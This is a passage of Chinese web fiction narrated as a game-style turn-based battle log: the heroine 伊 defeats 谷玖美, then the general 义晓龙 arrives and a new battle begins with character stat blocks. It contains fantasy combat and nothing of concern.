(炎爆战斗架势:攻击附带炎属性挥刃剑气,剑气范围增加35%,攻击到的目标身上的烧伤效果减弱50%,在烧伤叠加超过12层时触发炎爆效果,造成巨额范围伤害,并概率击晕触发炎爆的敌人。火属性攻击伤害提高100%,自身受到的火属性伤害也提高100%,免疫燃烧和部分火属性攻击效果无效化。) 黑斗笠、至尊骷髅侠技能触发,他们以50%的生命值重返战场。他们对应的技能效果重新生效。 谷玖美恢复420点生命。伊恢复130点生命。伊先手攻击。 伊使用武林绝学·崩山拳,消耗本回合全部行动数,伊的身上爆出金色斗气。伊对谷玖美打出朴实无华但致命的一拳。 “寸劲......开天!哦拉——” 谷玖美受到245点伤害。 小咒刀使用乱砍一气,对谷玖美造成86点伤害。 小咒刀使用众神的凝视,谷玖美下一次攻击必定瞄准自己。 小咒刀使用魔影凝视·血流千里,致命攻击!对谷玖美造成666点神明伤害,消减谷玖美最大生命值10%的生命,赋予百分比伤害!永久减少谷玖美一次回合行动数。 谷玖美使用火之印·爆炎一击,对小咒刀造成1点伤害。 谷玖美使用火神印·炙热烈阳,消耗自身30%法力,恢复800点生命,下一次所受伤害的数值降低为原来的25%。 谷玖美使用火神印·焚灭中原,致命攻击!致命的烈火附着在她的兵器之上,一场猛攻即将展开。 梅开二度。 至尊骷髅侠受到405点伤害,且被施加了30层烧伤,5层护甲破损、缓慢、虚弱。至尊骷髅侠使用值得托付的信任,这场战斗内伊所造成的伤害大幅度提升,但受到的伤害也小幅度提升,此效果一回合后激活。 至尊骷髅侠血量归零,败北! 谷玖美使用火之神·九州烬于烟,致命攻击!炙热的烈火从战场中央升起,随后形成巨大的火焰风暴,紧接着风暴压缩成谷玖美手心中的一点。 “感受一下......来自谷玖美的最终绝唱吧!” 谷玖美快速施展追击连斩,巨大的火焰剑气覆盖了整个战场。在谷玖美矫健的身影与火焰剑气一同演奏的狂舞之下,战场上的一切都化成了余烬。 伊受到899点伤害,又恢复了322点生命,且被施加了五层虚弱。伊的精神光条破碎,伊随即陷入昏厥状态。黑斗笠受到1021点伤害,且被施加了45层烧伤和8层燃烧。黑斗笠触发炎爆,又受到605点伤害。小咒刀受到2点伤害。谷玖美恢复200点生命,又给予自身三回合的五层力量效果。 黑斗笠技能:最后一搏触发,黑斗笠准备施展最终必杀技。 黑斗笠使用灵魂世界,致命攻击!对谷玖美与自身造成444点伤害,谷玖美最大生命值上限永久减少20%。使用完此招后,黑斗笠血量归零,败北! 伊的血量锁在1点。伊进入濒危状态!伊的技能:锁被动触发,谷玖美六次行动数内无法行动。 这时,伊身上冒出赤橙相间的火焰状斗气。来自灵魂深处的声音愈发嘹亮,过往的回忆激发了伊的情感,想到昔日决战时无所畏惧的身姿以及那如烈焰的决意,一团命之火在伊心中爆发。 伊从晕厥状态中奇迹般解脱了出来。 EmA-125技能:终末的命之火触发,伊准备施展墨子邵的必杀技。 伊使用凤神卫·涅盘炎风,致命攻击!伊高举战戟指向空中,一道炎柱从战戟尖头处升起贯穿苍穹,一只烈火化成的凤凰盘旋在伊的身旁。伊下压身体摆出战斗架势,随后汇聚全身能量,施展最终的必杀技。 “吾名似火!视死如归,乃是我守护一生的誓言。接招吧......” 伊使出墨子邵曾对殇使用过的凤凰突刺,炎凤的力量贯穿它的敌人,它俯冲向它的敌人,令它不灭的烈火烧尽它所仇视的一切罪恶。 谷玖美受到962点伤害,且被施加了15层虚弱。谷玖美采取防疫措施,抵消掉400点所受伤害。 谷玖美肉体濒临承受极限。 EmA-125消失了,至少三天之内不能再召唤了。伊的核心能量濒临耗尽,这次战斗伊感到了前所未有的压力。 第六回合,谷玖美技能触发,本回合额外行动三次。熟悉的力量再度出现,伊感应到了体内汹涌澎湃的力量。伊进入仙主强化,血量变为300点,速度等级变为V,单回合五行动,给予自身永久的仙·全属性增幅效果。伊感受到中二之魂深处无法遏制的冲动了。 谷玖美恢复420点生命。伊恢复130点生命。小咒刀先手攻击。 小咒刀使用躯壳贯穿,被谷玖美躲开了。 小咒刀使用唐氏三连斩,对谷玖美造成65点伤害。中途谷玖美格挡了两次。 小咒刀使用魔影符文·祝福,伊从下一回合开始两回合内丧失任何恢复生命的途径,但获得1000点额外血量,且额外血量消失时伊会无敌一回合。小咒刀陷入休眠,三回合后苏醒。 伊使用燃起来了!我的中二之魂,三回合内造成的伤害提升30%,但受到的伤害会提高50%。 伊使用光之子的决意,本回合能量消耗翻倍,但整体伤害x1.25。 伊使用光之剑II型·一闪流,对谷玖美造成62点伤害,xxx被施加了两回合的威力增幅无效化效果。 伊使用光之剑I型·武斗流,对谷玖美造成45点伤害,下一次攻击的伤害增加25%。 伊使用光之契约·天舞,消耗所有累积的光,施展致命攻击!伊变出一把光之巨剑,又变出一对光之翼安在背后,然后一个健步跃起来到谷玖美身旁。 “请你和我跳支舞吧,拜托喽~~~” 伊施展华丽的剑舞,谷玖美以一种痛苦的方式表演着舞蹈。表演完成后,战场上只剩下了掌声。 谷玖美受到了523点伤害,且被施加了十五层削弱。伊全身的负面属性清除,伊恢复了200点生命。 谷玖美使用火之印·羲和赐福,恢复500点生命,下一次所受伤害的数值降低为原来的50%。 伊检查了一下战况。 谷玖美目前血量600点。 伊目前血量300点。 第七回合,谷玖美技能:搏命之铮II触发,三回合内减免90%伤害,但防御力归零,本回合拥有锁血,并获得一回合的五层力量效果,但三回合后该技能效果效果清除。 伊技能:光的力量触发,使用光之子相关技能可以造成更多伤害。伊的想象力喷涌了出来。猛然间,战场的背景之中响起了伊最喜欢的那首战歌,在音乐加持下伊爆发出了前所未有的战斗力。值得托付的信任效果激活。 谷玖美恢复420点生命。伊先手攻击。 伊使用光之子的决意,本回合能量消耗翻倍,但整体伤害x1.25。 谷玖美使用火神印·焚灭中原,致命攻击!致命的烈火附着在她的兵器之上,一场猛攻即将展开。伊使用光之工坊·盾牌直接破解,谷玖美招式中断。 伊使用光之工坊·枪与匕首,对谷玖美造成185点伤害,下一次远程伤害增加65%。 谷玖美使用火之印·烈火燎原,伊使用反击技舞闪的奥义直接破解,谷玖美受到43点伤害。 伊使用光之工坊·猎人长弓,对谷玖美造成303点伤害,谷玖美本回合行动数减1。 谷玖美使用火之印·火漫江城,对伊造成378点伤害。伊采取防御措施,抵消掉182点伤害。 伊使用光之剑IV型·神威流,对谷玖美造成365点伤害,谷玖美下一次攻击所造成的伤害在原本的1%到50%之间。 伊使用光之子的骄傲,下回合能量消耗翻倍,但整体伤害x1.35。 谷玖美血量167 伊血量300(+804) 第八回合,谷玖美技能触发,本回合额外行动三次。伊的意志等级提升,伊进入「完全的实力解放」状态,伊永久获得5层速度和3层力量。 谷玖美恢复420点生命。谷玖美先手攻击。 谷玖美使用火之印·羲和赐福,恢复500点生命,下一次所受伤害的数值降低为原来的50%。 伊使用光之剑V型·化劲流,伊本回合的招架技巧大幅度提升,招架伤害提高65%,成功招架敌人攻击后使用反制时对敌人追加20点穿透伤害。 谷玖美使用火神印·熔火剑舞,致命攻击!谷玖美挥舞烈焰长剑呼啸而来,一场华丽的剑舞开始了。伊采取招架措施,完美招架!谷玖美受到233点伤害,额外追加360点伤害。 伊使用光之子的决意,本回合能量消耗翻倍,但整体伤害x1.25。 谷玖美使用火神印·焚灭中原,致命攻击!致命的烈火附着在她的兵器之上,一场猛攻即将展开。 梅开三度。 伊采取招架措施,完美招架!谷玖美受到167点伤害,额外追加20点伤害。 伊使用聚精会神,下一个使用的辅助类技能实际效果翻倍,使用攻击类技能则只会提升50%。 谷玖美使用火神印·烽火渡月斩,致命攻击!伊采取招架措施,完美招架!谷玖美受到200点伤害,额外追加80点伤害。 谷玖美见势不妙,直接斗气爆发进入殊死龙战状态。 谷玖美恢复600点生命值,同时永久禁用一切恢复生命的措施。作为代价,谷玖美永久获得100%伤害加成,但收到的伤害也增加100%。 伊使用太极·积蓄力量,下一个技能的伤害提高1%至200%,使用该技能后受到的伤害额外增加40%。 谷玖美使用火之印·朱雀之影,出其不意!伊采取招架措施,谷玖美受到102点伤害,额外追加60点伤害。伊招架不利,伊受到431点伤害。 伊使用Emw连击,伊召唤出EcL-145血浸玫瑰的Emw:血骸(一把红色长柄战斧),伊没有选择攻击,伊将核心能量注入其中。 突发情况!Emw-145专属技能触发,其在核心能量的充能下由Emw-145进化成Emw-145-1破灭之锋·辰光(杀戮者的武器)。伊获得释放究极技的机会。 伊使用零之源起·人间炼狱,伊健步来到谷玖美的面前,随即挥舞大刀释放长达二十多米的血色剑气斩。 “大姐头,借你的力量一用!——你可曾感受过面对死亡的窒息?” 这记威力巨大的剑气斩斩出,遍地血光染红了天空,地面瞬间变得平整,场上也瞬间寂静下来。 谷玖美受到5251点伤害,追加3414点虚空伤害,谷玖美被施加了278层无垠侵蚀(每层降低3点基础伤害,又会小幅度降低物理、能量、精神三方面的抗性指数)、678层虚弱、899层护甲破损、211层缓慢、376层流血、27层撕裂(每层都会增加受到致命伤害的概率)。谷玖美的魂兽爆体而亡,谷玖美抗下这一击而没和她的魂兽落得一个下场已经是一个奇迹了。 伊筋疲力竭,伊体内的核心能力真正枯竭了。 战斗暂停中...... 谷玖美: “混蛋......好痛啊!” 伊: “彼此彼此。你打人也很痛好不好?” 谷玖美: “你他奶奶的!老娘今天说什么也要撕碎你这身贱皮!” 伊: “那就来吧!人家正缺一个沙包来练手呢。” 谷玖美: “去死!” 铃兰花小声提醒伊: “伊!别意气用事,稳扎稳打才是硬道理。——人在气急败坏的时候最容易暴露破绽。这是我亲身经历的经验......把握时机,扭转乾坤。” 伊小声回应: “放心,我现在冷静得很!” 铃兰花小声鼓励伊: “嗯。加油哦!” 战斗继续...... 第九回合,致胜回合,谷玖美和伊本回合只许行动三次。谷玖美技能触发,谷玖美进入最后的狂暴,血量变为300。伊恢复50点生命。谷玖美先手攻击。 谷玖美使用火神印·焚灭中原,伊使用光之工坊·带刃双拐应对,应对成功,谷玖美受到162点伤害。 谷玖美使用火神印·熔火剑舞,伊使用光之剑IV型·神威流应对,应对成功,谷玖美受到231点伤害。 谷玖美使用火神印·烽火渡月斩,伊使用光之工坊·猎兽大剑应对,应对成功,谷玖美受到320点伤害。 伊三赢零输,对决的结果已经显而易见了。 最终的绝杀即将来临...... 第十回合,终幕,双方开始最后交锋。伊恢复50点生命值。双方同时出手。 谷玖美使用烈焰回旋踢,谷玖美向伊踢出致命的一脚。 伊使用隼之流转,伊向谷玖美使出了破招之术。 眨眼间,战斗便分出了胜负。 伊使用流转之术借力踢出一记空中鞭腿,谷玖美被踢中后踉跄了一下。伊趁机蹬地向前补上一记容颜破碎拳,一拳打在谷玖美的脸上,直接将谷玖美打翻在地。谷玖美趴倒在地,正欲站起身来还击,突然她口吐鲜血,身躯猛地一颤,随后带着不甘与怨恨倒下了。伊最终取得了胜利,一场漂亮的胜利! 第十一回合,伊先手攻击。 伊使用治愈之光,成功保住了谷玖美的生命,也给予她一份救赎。 谷玖美血量归零......败北! 伊取得了胜利,获得Exp,等级从28级升至35级,可喜可贺! 伊解锁第二战斗风格琶舞。伊的大脑飞速运转,很快她就在大脑中设定好了这种战斗风格的具体形式。 琶舞介绍: 敌我双方均采用精髓打法,战斗长度明显缩短。又引入精神值又名架势值的新机制,每失去三分之一血量就会进入一回合晕厥或昏迷,精神伤害可提升触发晕厥的上限次数。招式技能造成的伤害、效果均会大幅度提升,敌方单位使用技能时己方可采取闪避、防御、反制三个措施来应对。出于琶舞风格下可以使用连招,至多一次释放搭配合理的三个技能。 每回合行动数上限为3,技能效果可以增加这一数值,但最多不超过5。普通单位每回合仅有1次行动数,而精英单位则有2次行动数,更上一级的传说单位更是有3次行动数。 角色技能属性会按比例缩减,持续时间会按比例扩大。角色所承受的负面状态属性也是同理。 注意!切换风格只允许在回合开始时切换。 战斗结束...... 谷玖美狼狈地趴在地上大口喘着粗气,刚刚的那一战耗尽了她的体力。谷玖美捂着略微红肿的半边脸,又用不甘的目光望着伊,她从未感受到过像今天一样的羞耻。伊同样也喘着粗气,她的情况也不算太好,两人为战斗几乎拼尽了一切。伊十分警惕地望着倒地的谷玖美,她默默地拿出一瓶死灵汽水喝了一口。伊身上的伤口奇迹般地愈合了。 谷玖美恼怒地说: “可恶!竟然败给了你这女人。” 伊略带欣喜地说: “看来天上人也不过如此嘛。” 谷玖美面露难色道: “可恶!可恶可恶!人家化的妆脏了,身上的衣服也被弄出了几个豁口,真是难看死了。太羞耻了啦!” 小咒刀在一旁嘲讽谷玖美: “我突然觉得,你这样看起来更有艳气了!” 谷玖美羞耻地回应: “唔......” 伊掩口一笑,又对小咒刀说: “好啦好啦,别那么在乎别人的着装。女孩子喜欢美都是很正常的。” 听到刚刚的敌人为自己说话,谷玖美感到心头一暖。谷玖美很傲娇地说: “切!装什么圣人。” 伊歪了歪头,问道: “我说的有什么问题吗?” 谷玖美看了伊一眼,随后一声不吭地低下了头。 “真是个奇怪的家伙......” 谷玖美小声嘀咕道。 这时,九层妖塔上方升起了一缕螟绿色的火焰。众人顺着火光的方向望去,第五火盆不知何时被人点燃了。伊见此不由得皱起眉头,她开始思考。谷玖美见此瞪大了双眼,她突然明白了什么。 伊疑惑道: “这是?!” ...... 联盟国—第十六话:雷电将军(上) 这时,一个飞快的身影从九层妖塔中窜出。没等众人反应过来,那道身影迅速来到伊的前方并以迅雷般的速度刺出一枪。一阵阴冷的风随那身影一起呼啸而来,伊瞬间感受到直击灵魂的恐惧。伊全身寒毛直竖、脊背发凉,死亡的威胁令伊眼中看到如走马灯一样的情景。 一旁刚刚复活的黑斗笠冲伊喊道: “伊,小心!” 伊召唤光之盾进行格挡,又本能地惨叫一声: “啊!!!” 嘡的一声,小咒刀横在伊前方挡下了这致命的一枪。 “想伤害我主人,门都没有!” 伊稍稍放下光之盾,探出半个头查看情况。见到小咒刀挡在自己身前,伊不可置信地说了一句: “小咒刀?!” 对方停了下来,他的身影也清晰了起来。伊定睛一看,对方是一位人高马大穿银甲、皮肤有些黝黑又有刀疤、长有一头黑色长发的雄威将军。伊目测对方身高至少有两米,这样体型的敌人伊还第一次见。 望着对方冷酷的表情,伊感到呼吸变得急促,心跳开始加速;凝视对方如鹰隼般犀利的眼神,伊的身体不由得开始颤抖;感受着对方身上散发的杀气与那份无可描述的统治力,恐惧与窒息感瞬间涌了上来。 空气中弥漫着杀戮的气息,犹如战场上四起的血雾;空气的每一点波动都在挑动伊紧绷的神经,伊能感觉到杀戮将伴随着死亡与鲜血到来.....此刻站在伊面前的存在犹如人间的修罗将军。 这便是天上人乾字军中赫赫有名的大将军——义晓龙。世人知道的更多是他霸气的江湖称谓:“雷电将军”。 他随猛烈的风暴而来,是苍穹中一道暴桀的狂雷。 伊的表情愈发慌张,她此刻深感无力,仿佛快要被恐惧所支配。 这时,黑斗笠叫醒了伊: “姑娘,别愣着了,快撤到一边去!” 伊回过神来,连忙从刚刚的恐惧之中摆脱出来。伊点头答应: “哦。” 说完,伊快步撤退到黑斗笠和刚刚复活的至尊骷髅侠旁边。 雷将军手一转再一挑,小咒刀险些被挑飞出去。小咒刀在空中旋转了三周后停了下来,小咒刀深深感受到了对方强劲的实力。小咒刀飞回伊的身前继续保护伊,但雷将军已经没有再出手的意思。雷将军望着伊冷哼了一声,他向伊一行人投去凝视尸体一样的眼神。 雷将军缓步走到谷玖美身旁,又用失望的眼神看着艰难维持身体平衡想要起身的谷玖美。这时,谷玖美注意到了一旁的雷将军,一想到自己这令人羞耻的战绩,她不由得羞红了脸。 “叔父,我......” 谷玖美正欲解释,雷将军出口打断。 “你还是跟个小孩子一样啊......一点都不懂事。” 谷玖美心中一紧,随即赶忙道歉: “我错了,叔父。下次再也犯这样低级的错误了!请原谅我......” 雷将军抓住她的后颈往上一拎,谷玖美以极快的速度起了身。雷将军放下手,冷冷地对她说: “带上你可怜的自尊心,夹着尾巴回去吧。” 谷玖美连忙鞠躬道谢: “谢叔父怜悯。” 道谢完,谷玖美用充满怨恨的眼神看向了一旁的伊。谷玖美的表情变得得意起来。谷玖美恳求雷将军: “叔父,你一定要好好教训那些家伙,尤其是那个白头发的!我恨不得......” 雷将军大喝一声: “够了!” 这一声吓到了场上的每一个人。谷玖美连忙闭上了嘴,然后低下头像个犯错的小朋友一样等待雷将军的训斥。 雷将军反问谷玖美: “输得体无完肤,还好意思说这么多吗?别丢人现眼了!赶紧奉命行事,撤离战场!不然军法处置,当众将你脱衣凌迟。” 谷玖美撅起嘴来,她的表情十分不愿。 “哼!臭叔父,大坏蛋。” 说完,谷玖美一溜烟跑掉了。雷将军无奈地说: “真是个不让人省心的家伙呀。” 说完,雷将军立马切换态度,马上开始处理面前的麻烦。雷将军盯着伊问道: “呦,你就是伊对吧?” 伊怔怔地点了点头。 “怎么?不爱说话吗?” 伊鼓起勇气,回应雷将军: “嗯。我就是伊。” 雷将军嘴角微微上扬,他露出了一抹阴森的笑。 “恩奉老太太临死前指定的扭转世界命运之人,原来就是你这个白发女人啊。”雷将军抬起手动了动手指,“想不到你竟有那般实力,真是人不可貌相啊。”雷将军放下手,他的眼神散发出令人窒息的诡异,“如果你死的很惨,那作为凶手的我会不会背负千古骂名?呵......” 雷将军这一问问得伊浑身起鸡皮疙瘩,伊不由得倒吸一口凉气。突然,雷将军露出一抹有一点疯狂又有一点残忍和严肃的微笑。 “若真是如此......还请你带上痛苦再饮下黄泉之水吧。至少不会留下遗憾,也算是痛快不是吗?” 伊的瞳孔像是地震了一样,她的全身也在跟着颤抖,他第一次感受到如此之大的压迫感。这种感觉说不上是至高的恐惧,但它直击灵魂令伊无比慌张,这比直面发飙的管理员要更令伊害怕。 这时,至尊骷髅侠激动地开口询问雷将军: “恩奉?你把她怎么了?!” 雷将军回应他: “别激动,仁兄。我们只是......请她帮个忙而已。” 至尊骷髅侠很不放心地问: “你确定只是帮忙吗?” 雷将军微微一笑道: “心机很重吗......告诉你也无妨,埋了而已。” 至尊骷髅侠激动地问: “你们连老婆婆都不放过吗?” 雷将军一脸平静地说: “放过她?既然不是朋友,那还有仁慈的必要吗?” 至尊骷髅侠激动地说: “妈的!你们天上人都是一群吃人不吐骨头的畜生!” 一旁的黑斗笠见此情形赶忙劝至尊骷髅侠: “诶!二哥,别激动啊。” 雷将军注视伊的身影,伊鼓起勇气来与他对视。虽然心中恐惧泛滥,但这无法阻止伊去勇敢地面对对方。 伊十分警惕地问雷将军: “你是谁?” 雷将军回答: “女人,我在你眼中应该叫什么呢?给我取个名字吧。” 伊疑惑道: “什么?” 雷将军解释: “你的实力还不足以让我报上姓名,女人。” 这时,雷将军身后传来烈马的嘶鸣声。顺着声音望去,一只浑身附着雷电的金凯战马正向雷将军疾驰而来,随着这匹战马到来的还有漫天黑压压的乌云。看样子一场风暴在所难免。 雷将军微笑道: “看样子,我的老朋友已经急不可耐了。” 雷马疾驰而来,雷将军矫健的一跃,一个后空翻坐在马鞍上。雷马欢腾着在原地绕了半圈,随后立马止步。雷将军摆出十分霸气的扛枪姿势,恰巧空中辟出一道闪电,雷将军本就骇人的身影在雷光中显得更加骇人了。 这时,陌和姜北谷子赶了过来。陌边跑边问: “伊,怎么回事?” 陌停下脚步向前一瞧,顿时被惊出一身冷汗。 “啊?!天上人顶级军队乾字军将领、雷电将军义晓龙?!怎么会出现在这个地方?等等......难不成?!” 陌意识到危险,他急忙命令伊身旁的死灵: “老二老三,马上带伊远离那个家伙!” 黑斗笠和至尊骷髅侠听令,赶忙带着伊撤出十几步远。雷将军望着陌,他的表情瞬息变换三次,一抹欣赏的笑容挂在脸上,他对接下来的战斗有了一丝兴趣。 雷将军微笑道: “人类最后一位死灵术士吗?真是有趣。” 这时,宗门势力派出的打手赶来支援。雷将军见了,大声命令对方: “宗门的那群家伙听着!我要你们全体撤离万兽谷。” 领头的蛇总弟子担心地说: “可是......” “嗯?!” 雷将军微微抬起手中的三尖两刃刀,随即一道闪电打去,那位蛇总弟子使出浑身解数才勉强抵挡。 “啊!!!” 那位蛇总弟子惨叫一声。吃痛过后,他立马服从雷将军。 “错了,知错了。” 雷将军冷冷地告诉对方: “服从命令,要么加入我的杀戮。” 那位蛇总弟子惊恐地说: “我们立即带人撤退!绝不扰了您的兴致。” 说完,宗门势力的打手们飞速撤退了。 在打手都撤退之后,雷将军对伊一行人说: “现在,只剩下你们了。” 雷将军身上冒出跃动雷霆的蓝色斗气,他的双瞳也由褐色变为亮蓝色。陌一眼就认出,那是一对发育程度极高神之眼。 “偌大一个万兽谷,你们哪里都去不了。待我发射雷神箭、开启神之眼,你们永远就无法逃脱我的战场了。”雷将军十分霸气的说,“等待你们的......是一场饶有兴趣的杀戮。但是对于谁的,还要看你们接下来的表现......” 这时,伊的双眸变成金色,奇异的能量在她体内凝聚。刚才还饱受恐惧折磨的伊突然爆发出前所未有的勇敢,那份勇敢如光一样照亮了周围的众人。 “哼。” 伊自信地哼了一声。这一声令雷将军疑惑了。 “嗯?” 伊勇敢地告诉对方: “不管你是什么来头,也不管你身上有什么奇异能力。凡是要以生命的死亡为乐趣的人,都必将付出惨烈的代价!生命......是无价的。它所承载的意义,是无法被践踏的!藐视生命的人,我最讨厌了!!!” 伊的这一番话勾起了雷将军的兴趣,雷将军绷紧的脸上出现了一丝放松。自从繁仙堕天战役之后,他再也没有过听到如此不惧权威的发言。这番话唤起了雷将军心中沉寂许久的某些东西,这令雷将军非常开心。 “哦?!” 伊十分霸气地告诉雷将军: “若你是天上暴桀的狂雷,那我便令你见识生命的光辉!” 伊的这番话激励了在场的众人,无人不为她的发言而动容。伊说出这句话的时候,她从心底里真正成长起来了。曾经的懦弱已经不再,她已经学会以君子之胸怀面对前路的一切。众人认可了伊。 小咒刀: “说得好!主人。” 姜北谷子: “你真的成长了呀,伊。” 陌: “想不到如此豪放的话竟能从你口中说出。真棒!伊。” 铃兰花: “哇喔!一下子就帅起来了呢。伊,加油!” 受到同伴的鼓励,伊变得更加自信、更加勇敢了。伊望着面前的雷将军表现得浑然不惧,她自信地对雷将军说: “雷电将军吗......听好了!今天,人家要痛扁你一顿哦!” 小咒刀在一旁吐槽: “这种时候就不要这么淑女了。” 伊反驳道: “不行哦,气质还是要的。” 小咒刀无力吐槽,只得叹气说道: “害......女人啊。” 雷将军露出带有几分敬佩的笑容,这是他对对手独有的一种尊敬。他对伊的看法发生了一定的改观。 “有趣。自史书中的神女轩辕北陵之后,我再听闻过,甚至未见过像你这样勇敢的女人。” 雷将军挥动手中的三尖两刃刀,随后摆出压迫感十足的战斗架势。 “女人,做好觉悟......” 雷将军与伊一行人冷眼互视,两方人马呈现剑拔弩张之势,一场硬仗即将打响。随着雷将军身下的马匹发出刺耳的嘶鸣声,两方人马默契地开始行动。 雷将军驾马疾驰而来,伊一行人冲上前去迎接。银骨剑圣冲在队伍前面,首当其冲迎接雷将军的兵戈。雷将军与银骨剑圣同时出手,雷将军以力量大的优势略微胜过银骨剑圣,雷将军二连扫杀打出将银骨剑圣打飞出去,银骨剑圣采取防御措施应对,所幸毫发无伤。陌召唤出至尊骷髅侠、黑斗笠以及几位死灵前来助阵,没想到这些死灵刚发起进攻,雷将军就一个雷链甩枪之术将它们悉数击飞,霎时间陌唤出的死灵死伤大半。陌正欲使用法术,突然雷将军甩动雷链绕体一周,再用手为武器注入仙力,然后一个直刺长抛打断陌的施法并将其击飞出去。若不是陌及时用武器及生成的魔力盾格挡,刚刚的那一下足以将他击成重伤。 雷将军如势不可挡的风暴般冲入伊的队伍,仅凭简单的几招便将伊的队伍撕成分散的碎块。这时雷将军身下的战马紧急调转方向,马头的方向对准了正疾驰而来的伊。战马飞速奔去,雷将军抡动武器准备施展预判斩击。谁知路到中途,小咒刀突然回旋着杀出,雷将军不得已从战马上跳起至空中躲避。小咒刀使出竖直回旋斩击,雷将军一记横扫将飞来的小咒刀打飞了出去。 雷将军落地,正好伊跑了过来。没等雷将军出手,伊一个健步跃起,变出一把光之剑而后使出下劈砍。雷将军侧身、飞步以类似肩冲的姿势正面迎了上去。在伊靠近之时,雷将军用不拿兵器的一只胳膊格挡下伊的这一击。清脆的金属碰撞带来激素的飙升,两方的热血都在此刻被点燃。伊未能砍穿雷将军坚实的护臂。雷将军另一只手握紧兵器,他摆出架势,一记上挑式防御反击正蓄势待发...... 接下来迎战,伊一行人对决雷神门一仙主、天宫乾字军将领雷电将军、三等仙人义晓龙。 战斗准备中...... 伊,等级35,血量180,战斗力112,速度等级iii,单回合三行动,介绍:“不要看人家是女孩子就轻视人家哦!我可是超级猛的哦!” 小咒刀,等级70,血量∞(接近伊想象的极限),战斗力457,速度等级vii-max,单回合双行动,介绍:一把沾有诅咒的剑。前世是远古五圣之一弑神者,由于迷恋女色导致其名誉并不算太好,五圣里知名度最小的那位非他莫属。变成剑后,它的特长是打辅助。 天昭法圣·陌,等级90,血量800,战斗力560,速度等级iii,单回合五行动,介绍:世界上最后一位死灵术士,九修至尊法师,一代法圣。“什么?你问我死灵汽水从哪来的?别问,问就是魔法。只要智商高,一切皆有可能......” 姜北谷子,等级98,血量250,战斗力685,速度等级vi,单回合三行动,介绍:一只骁勇善战的老骷髅,银之荆棘的掌握者。宝刀未老,仍可一战。“四大剑圣中我最佩服樱藏神府的樱藏八吕奎。他是剑术造诣上无极限的斗尊强者,他独创的【樱藏流】有着几乎无限的发展力,其绝学奥义在于无限制战斗。——哪怕掏出火枪也不算违规,‘这是伟大剑术的一部分’。” 不死耶稣,等级80,血量220,战斗力500,速度等级iv,单回合四行动,介绍:亡灵化的圣子,传说中信仰的源泉:耶稣。当然,那只是个传闻。更何况,这世上几乎没有多少人信“耶稣”教。亡灵化后,他擅长于祷告(一种依托精神力与法力产生混合力释放特异超自然技能的技术)。 警告!魔王级高等目标出现!!! 雷电将军·义晓龙,等级120,血量1000,战斗力875,速度等级v,单回合六行动,介绍:天上人的顶尖战力之一,雷神门绝学的集大成者,名列天仙榜十强以内,无数天上人心目中的偶像。他曾在繁仙堕天战争中立下汗马功劳,其战绩传奇到令人难以相信,形容他为一代战神毫不为过。繁仙堕天战争期间,他为以天宫、九神会、薪王府为核心的护天联盟打下了三座重点城市,又联合广寒部军平反天宗的五十万叛军,还以一己之力在敌对方势力维新联盟的本部内屠掉三位赫赫有名的大将,史称“枫叶葬三将”。据有幸从他手下存活的士兵所言:“与他交战将是你这辈子做过最错误的决定,那将会是一次痛苦之旅!对死亡的恐惧,不及他所带来的终焉......” 辅助系魂兽·雷踏,等级100,血量800,战斗力310,速度等级vi,单回合三行动,介绍:义晓龙的高级灵兽,等级上与仙薪王的恣睢平级,两者均为拥有实体化作战能力的灵兽。 第一回合,义晓龙技能:灵兽降世触发,义晓龙武魂爆发,义晓龙进入武魂强化状态。武魂:雷踏相关技能解锁,雷属性伤害随着战斗时间缓慢提升,最高提升幅度为75%,每回合固定恢复200点血量,免疫中毒、流血、冻伤、缓慢、护甲破碎、深渊水压、撕裂、大出血、感电效果。 义晓龙技能触发:神之眼·雷鸣触发,义晓龙进入神铭印强化状态。义晓龙接下来的任何攻击都将附带感电和雷神之召效果,部分招式可对敌人施加雷隐效果,施展强力技能时会对敌方单位施加一回合的正面增益无效化效果。针对同元素类型的敌人造成伤害+15%,针对雷属性克制属性的敌人造成伤害+80%,针对克制雷属性的敌人造成伤害-50%。永久给予自己五层力量、速度、防御、耐性、再生效果。 义晓龙技能:战场风云触发,义晓龙每损失800点生命就会切换一次战斗架势。当义晓龙将战斗架势切换为御马时,义晓龙和雷踏共用一条生命,且此形态的义晓龙阵亡后仅会造成雷踏死亡。当义晓龙将战斗架势切换为孤将时,义晓龙和雷踏算作两个彼此分开的作战单位。 义晓龙技能触发,全身仙力爆发,进入仙化真人强化状态,血量低于100点时单回合无敌并于下回合开始时开启二形态,单回合所受伤害超过300点则会在下一回合开始时给予自身3次额外行动数,并且该条件下出招的第一击必定是暴击,此效果生效的回合内无法再次触发,至少需要隔一回合才能再次触发。永久给予自身五层防御、力量、耐性、速度效果。 义晓龙将战斗架势切换为御马。 (孤将战斗架势:攻击伤害+25%,速度等级提升1级,每回合行动数+1,+10%伤害减免,力量与技巧大幅度提升,对重伤敌对单位的伤害大幅度提升,收割重伤敌对单位时可根据伤害量恢复一定的生命。) (御马战斗架势:敏捷属性大幅度提升,+30%暴击几率,+20%防御力,出手更易打断、格挡或招架对方的攻击,但自身破绽数量增加。可以对晕厥或昏迷的敌人进行致命处决,对架势崩溃的敌人可进行致命攻击。) 雷踏技能触发,免疫雷属性攻击,血量归零后将会以最大生命值的50%重生,此效果只会生效一次。若义晓龙在御马架势中血量归零,则复活效果失效,但会令义晓龙满血复活的同时进入第二形态。 伊的技能触发,光之子相关技能解锁,每回合固定恢复50点生命。 小咒刀技能触发,每回合额外附赠一次特殊攻击。 姜北谷子技能触发,每回合恢复1~80点生命,全局战斗整体风格改为高速度者,战斗架势切换为进攻,敌方单位进入眩晕或失稳时可以进行处决,攻击附加银之荆棘效果。 陌技能触发,死灵召唤类法术将得到强化,单回合受到伤害不得超过500,免疫绝大多数负面状态,攻击附加侵蚀、护甲破损、灵魂震荡、虚弱效果。陌在场期间所有死灵类友方单位获得3层力量、速度、耐性、再生、敏捷。 不死耶稣技能触发,强化所有祷告,免疫撕裂、流血、中毒、冻伤、神圣、诅咒,每回合开局指定一位角色给予单回合的两层力量、耐性、再生。 伊将战斗风格切换为琶舞。 义晓龙回合行动数为3。 伊、陌、姜北谷子、不死耶稣、雷踏回合行动数为2。 小咒刀回合行动数为1。 全体角色技能属性发生变化...... 小咒刀先手攻击。 小咒刀使用诅咒侵袭,对义晓龙造成34点伤害,义晓龙本回合受到伤害翻倍。 小咒刀使用魔影斩一式,义晓龙使用挥阵雷闪,成功格挡! 速度等级相同,双方交替出手。 姜北谷子使用北国风光·梅飘零,对义晓龙造成163点伤害。义晓龙身负一层银之荆棘。 雷踏使用人兽连心,三回合内提升义晓龙攻击伤害45%。 